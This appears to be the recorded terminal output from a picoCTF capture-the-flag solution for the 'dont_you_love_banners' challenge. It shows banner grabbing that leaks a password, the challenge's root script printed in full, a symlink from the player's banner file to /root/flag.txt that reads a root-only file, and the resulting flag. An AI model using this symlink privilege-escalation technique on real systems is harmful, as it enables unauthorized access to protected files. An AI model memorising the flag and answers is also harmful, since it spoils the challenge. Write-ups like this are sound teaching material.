misc/dont_you_love_banners

misc/dont_you_love_banners/output.txt

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+$ nc tethys.picoctf.net 57752
+*************************************
+**************WELCOME****************
+*************************************
+
+what is the password?
+
+^C
+$ nc tethys.picoctf.net 55046
+SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234
+
+Protocol mismatch.
+
+$ nc tethys.picoctf.net 57752
+*************************************
+**************WELCOME****************
+*************************************
+
+what is the password?
+My_Passw@rd_@1234
+What is the top cyber security conference in the world?
+DEFCON
+the first hacker ever was known for phreaking(making free phone calls), who was it?
+John Draper
+player@challenge:~$ ls /root
+ls /root
+flag.txt  script.py
+player@challenge:~$ cat /root/flag.txt
+cat /root/flag.txt
+cat: /root/flag.txt: Permission denied
+player@challenge:~$ cat /root/script.py
+cat /root/script.py
+
+import os
+import pty
+
+incorrect_ans_reply = "Lol, good try, try again and good luck\n"
+
+if __name__ == "__main__":
+    try:
+      with open("/home/player/banner", "r") as f:
+        print(f.read())
+    except:
+      print("*********************************************")
+      print("***************DEFAULT BANNER****************")
+      print("*Please supply banner in /home/player/banner*")
+      print("*********************************************")
+
+try:
+    request = input("what is the password? \n").upper()
+    while request:
+        if request == 'MY_PASSW@RD_@1234':
+            text = input("What is the top cyber security conference in the world?\n").upper()
+            if text == 'DEFCON' or text == 'DEF CON':
+                output = input(
+                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
+                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
+                    scmd = 'su - player'
+                    pty.spawn(scmd.split(' '))
+
+                else:
+                    print(incorrect_ans_reply)
+            else:
+                print(incorrect_ans_reply)
+        else:
+            print(incorrect_ans_reply)
+            break
+
+except:
+    KeyboardInterrupt
+
+player@challenge:~$ ln -s /root/flag.txt banner
+ln -s /root/flag.txt banner
+ln: failed to create symbolic link 'banner': File exists
+player@challenge:~$ cat banner
+cat banner
+*************************************
+**************WELCOME****************
+*************************************
+player@challenge:~$ rm banner
+rm banner
+player@challenge:~$ ln -s /root/flag.txt banner
+ln -s /root/flag.txt banner
+player@challenge:~$ exit
+exit
+logout
+$ nc tethys.picoctf.net 57752
+picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}
+
+what is the password?